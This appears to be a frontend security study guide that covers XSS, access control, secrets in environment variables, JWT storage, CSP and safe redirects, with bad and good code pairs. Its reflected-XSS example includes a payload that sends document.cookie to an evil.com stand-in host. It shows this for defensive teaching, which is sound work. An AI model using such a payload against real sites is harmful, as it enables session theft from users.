Security Fundamentals

8 min read
Rapid overview

Security Fundamentals for Frontend Applications

Use these notes to articulate how you build secure frontend applications, protect against common web vulnerabilities, and properly manage secrets and sensitive data in both development and production environments.


OWASP Top 10 for Frontend

Understanding how OWASP vulnerabilities manifest in frontend code is essential for building secure applications.

1. Cross-Site Scripting (XSS)

XSS is the most common frontend vulnerability. It occurs when untrusted data is included in web pages without proper validation or escaping.

Types of XSS

Reflected XSS: Malicious script from the current HTTP request

// ❌ Bad: URL parameter directly inserted into DOM
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Results for: ${searchTerm}`;
// Attack: ?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Stored XSS: Malicious script stored on target server

// ❌ Bad: User comment rendered without sanitization
const comment = await fetchComment(id);
commentDiv.innerHTML = comment.text; // If comment contains <script>, it executes!

DOM-based XSS: Vulnerability exists in client-side code

// ❌ Bad: Using eval or Function constructor with user input
const userInput = location.hash.substring(1);
eval(userInput); // Extremely dangerous!

XSS Prevention

// ✅ Good: Use textContent for text (auto-escapes)
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').textContent = `Results for: ${searchTerm}`;

// ✅ Good: Use a sanitization library for HTML content
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userProvidedHtml);
element.innerHTML = cleanHtml;

// ✅ Good: React auto-escapes by default
function Comment({ text }) {
  return <p>{text}</p>; // Safe - React escapes this
}

// ⚠️ Caution: dangerouslySetInnerHTML requires sanitization
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

2. Broken Access Control

Frontend must enforce access control even though backend validates too (defense in depth).

// ❌ Bad: Hiding UI doesn't prevent access
function AdminPanel() {
  const user = useUser();
  if (!user.isAdmin) return null; // Attacker can still call API directly!

  return <AdminDashboard />;
}

// ✅ Good: UI reflects backend authorization + backend enforces
function AdminPanel() {
  const user = useUser();
  const { data, error } = useQuery('/api/admin/dashboard');

  if (error?.status === 403) return <AccessDenied />;
  if (!user.isAdmin) return null;

  return <AdminDashboard data={data} />;
}

3. Sensitive Data Exposure

Never expose sensitive data in frontend code or client-side storage.

// ❌ Bad: API keys in frontend code
const API_KEY = 'sk_live_abc123'; // Anyone can see this!
fetch(`https://api.stripe.com/v1/charges`, {
  headers: { 'Authorization': `Bearer ${API_KEY}` }
});

// ✅ Good: Proxy through your backend
fetch('/api/payments/charge', {
  method: 'POST',
  body: JSON.stringify({ amount: 1000 })
});
// ❌ Bad: Storing sensitive data in localStorage
localStorage.setItem('creditCard', JSON.stringify(cardData));

// ✅ Good: Only store non-sensitive identifiers
sessionStorage.setItem('cartId', cartId);

4. Security Misconfiguration

// ❌ Bad: Exposing stack traces to users
try {
  await riskyOperation();
} catch (error) {
  showError(error.stack); // Reveals internal details
}

// ✅ Good: Generic user message, detailed logging
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error); // For developers
  showError('Something went wrong. Please try again.'); // For users
}

5. Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing unintended actions on authenticated sites.

// ✅ Good: Include CSRF token with state-changing requests
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify({ to: account, amount: 100 })
});

// ✅ Good: Use SameSite cookies (backend config)
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

6. Insecure Dependencies

# Check for vulnerabilities
npm audit

# Fix vulnerabilities automatically where possible
npm audit fix

# Check specific package
npm audit --package-lock-only
// ✅ Good: Use lockfiles and review updates
// package-lock.json or yarn.lock should be committed

// ✅ Good: Use Dependabot or Snyk for automated alerts

Secrets and Credentials Management

Development Environment

Golden Rule: Never commit secrets to source control. Use environment variables.

Environment Variables (.env files)

# .env.local (gitignored!)
VITE_API_BASE_URL=http://localhost:3000
VITE_ANALYTICS_ID=UA-DEV-12345

# .env.production (can be committed - no secrets)
VITE_API_BASE_URL=https://api.myapp.com
// Vite
const apiUrl = import.meta.env.VITE_API_BASE_URL;

// Create React App
const apiUrl = process.env.REACT_APP_API_URL;

// Next.js
const apiUrl = process.env.NEXT_PUBLIC_API_URL;

Important: Environment variables prefixed with VITE_, REACT_APP_, or NEXT_PUBLIC_ are embedded in the build and visible to anyone. Never put secrets there!

What Can Go in Frontend Environment Variables

# ✅ Safe: Public configuration
VITE_API_BASE_URL=https://api.myapp.com
VITE_GOOGLE_ANALYTICS_ID=UA-123456789-1
VITE_SENTRY_DSN=https://abc@sentry.io/123
VITE_STRIPE_PUBLISHABLE_KEY=pk_live_xyz  # Publishable keys are designed to be public

# ❌ Never: Secret keys
VITE_STRIPE_SECRET_KEY=sk_live_abc  # NEVER - this is a secret!
VITE_DATABASE_URL=postgres://...     # NEVER - backend only
VITE_JWT_SECRET=...                  # NEVER - backend only

Production Environment

Build-Time Injection (CI/CD)

# GitHub Actions example
jobs:
  build:
    steps:
      - name: Build
        env:
          VITE_API_URL: ${{ vars.API_URL }}
          VITE_ANALYTICS_ID: ${{ vars.ANALYTICS_ID }}
        run: npm run build

Runtime Configuration (for dynamic config)

// config.js - loaded at runtime from server
window.__CONFIG__ = {
  apiUrl: '{{API_URL}}',  // Replaced by server/CDN
  analyticsId: '{{ANALYTICS_ID}}'
};

// Usage
const config = window.__CONFIG__ || {
  apiUrl: import.meta.env.VITE_API_BASE_URL
};

Handling API Keys

Public vs Secret Keys

TypeExampleCan Use in Frontend?
PublishableStripe pk_*, Google Maps API Key✅ Yes
SecretStripe sk_*, AWS Secret Key❌ Never
RestrictedAPI key with domain restriction✅ Yes, with restrictions

Restricting Public API Keys

// ✅ Good: Use API keys with restrictions
// - Google Maps: Restrict to your domains in Google Cloud Console
// - Stripe Publishable: Automatically restricted to your Stripe account

// ✅ Good: Proxy sensitive operations through backend
async function createPaymentIntent(amount) {
  // Don't call Stripe directly with secret key
  const response = await fetch('/api/payments/intent', {
    method: 'POST',
    body: JSON.stringify({ amount })
  });
  return response.json();
}

Token and Session Management

JWT Storage

// ❌ Bad: Storing JWT in localStorage (vulnerable to XSS)
localStorage.setItem('token', jwt);

// ✅ Better: HttpOnly cookie (set by backend)
// Frontend doesn't handle the token at all

// ✅ Alternative: In-memory storage (lost on refresh)
let accessToken = null;

function setToken(token) {
  accessToken = token;
}

function getToken() {
  return accessToken;
}

// Use refresh token (HttpOnly cookie) to get new access token
async function refreshAccessToken() {
  const response = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include' // Sends HttpOnly cookies
  });
  const { accessToken } = await response.json();
  setToken(accessToken);
}

Secure Authentication Flow

// ✅ Good: OAuth/OIDC flow with PKCE
import { createPKCECodes, exchangeCodeForToken } from './auth';

async function login() {
  const { codeVerifier, codeChallenge } = await createPKCECodes();
  sessionStorage.setItem('pkce_verifier', codeVerifier);

  const authUrl = new URL('https://auth.provider.com/authorize');
  authUrl.searchParams.set('response_type', 'code');
  authUrl.searchParams.set('client_id', CLIENT_ID);
  authUrl.searchParams.set('redirect_uri', REDIRECT_URI);
  authUrl.searchParams.set('code_challenge', codeChallenge);
  authUrl.searchParams.set('code_challenge_method', 'S256');

  window.location.href = authUrl.toString();
}

async function handleCallback(code) {
  const codeVerifier = sessionStorage.getItem('pkce_verifier');
  sessionStorage.removeItem('pkce_verifier');

  const tokens = await exchangeCodeForToken(code, codeVerifier);
  // Store tokens securely...
}

Input Validation and Sanitization

Client-Side Validation

// ✅ Good: Validate before sending to server (UX + defense in depth)
function validateEmail(email) {
  const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return emailRegex.test(email);
}

function validatePassword(password) {
  const errors = [];
  if (password.length < 12) errors.push('At least 12 characters');
  if (!/[A-Z]/.test(password)) errors.push('At least one uppercase letter');
  if (!/[a-z]/.test(password)) errors.push('At least one lowercase letter');
  if (!/[0-9]/.test(password)) errors.push('At least one number');
  if (!/[^A-Za-z0-9]/.test(password)) errors.push('At least one special character');
  return errors;
}

// Remember: Backend MUST also validate! Client validation is for UX only.

URL Validation

// ✅ Good: Validate URLs before using them
function isValidHttpUrl(string) {
  try {
    const url = new URL(string);
    return url.protocol === 'http:' || url.protocol === 'https:';
  } catch {
    return false;
  }
}

// ✅ Good: Allowlist for redirects
const ALLOWED_REDIRECT_HOSTS = ['myapp.com', 'auth.myapp.com'];

function safeRedirect(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    if (ALLOWED_REDIRECT_HOSTS.includes(parsed.hostname)) {
      window.location.href = parsed.toString();
    } else {
      window.location.href = '/';
    }
  } catch {
    window.location.href = '/';
  }
}

Content Security Policy (CSP)

CSP prevents XSS by controlling what resources can load.

<!-- ✅ Good: Strict CSP -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.myapp.com;
  font-src 'self';
  frame-ancestors 'none';
">
// Working with strict CSP in React/Vue

// ❌ Bad: Inline event handlers (blocked by CSP)
<button onclick="handleClick()">Click</button>

// ✅ Good: Event listeners
<button id="myBtn">Click</button>
<script>
  document.getElementById('myBtn').addEventListener('click', handleClick);
</script>

// ✅ Good: React/Vue (no inline handlers in output)
<button onClick={handleClick}>Click</button>

Secure Communication

HTTPS Only

// ✅ Good: Enforce HTTPS in service worker
self.addEventListener('fetch', (event) => {
  const url = new URL(event.request.url);

  // Redirect HTTP to HTTPS
  if (url.protocol === 'http:' && url.hostname !== 'localhost') {
    url.protocol = 'https:';
    event.respondWith(Response.redirect(url.toString(), 301));
    return;
  }

  // ... handle request
});

Secure Fetch Requests

// ✅ Good: Secure fetch configuration
async function securePost(url, data) {
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-Requested-With': 'XMLHttpRequest' // Helps prevent CSRF
    },
    credentials: 'same-origin', // Only send cookies to same origin
    body: JSON.stringify(data)
  });

  if (!response.ok) {
    throw new Error(`HTTP ${response.status}`);
  }

  return response.json();
}

React-Specific Security

// ❌ Bad: dangerouslySetInnerHTML without sanitization
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ Good: Sanitize before rendering
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href']
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Good: Use markdown renderer with sanitization
import ReactMarkdown from 'react-markdown';

function Comment({ markdown }) {
  return <ReactMarkdown>{markdown}</ReactMarkdown>;
}

Avoiding href javascript:

// ❌ Bad: User-controlled href can execute JavaScript
function UserLink({ url, text }) {
  return <a href={url}>{text}</a>; // url could be "javascript:alert('xss')"
}

// ✅ Good: Validate URL protocol
function UserLink({ url, text }) {
  const safeUrl = /^https?:\/\//i.test(url) ? url : '#';
  return <a href={safeUrl}>{text}</a>;
}

Security Checklist

  • [ ] All user input sanitized before DOM insertion
  • [ ] Using textContent instead of innerHTML where possible
  • [ ] DOMPurify or similar for any HTML rendering
  • [ ] No secrets in frontend code or environment variables
  • [ ] API keys restricted by domain where possible
  • [ ] HTTPS enforced for all requests
  • [ ] Tokens stored securely (HttpOnly cookies or memory)
  • [ ] CSRF protection implemented
  • [ ] CSP headers configured
  • [ ] Dependencies regularly audited (npm audit)
  • [ ] Error messages don't expose sensitive information
  • [ ] URL validation before redirects
  • [ ] No eval() or new Function() with user input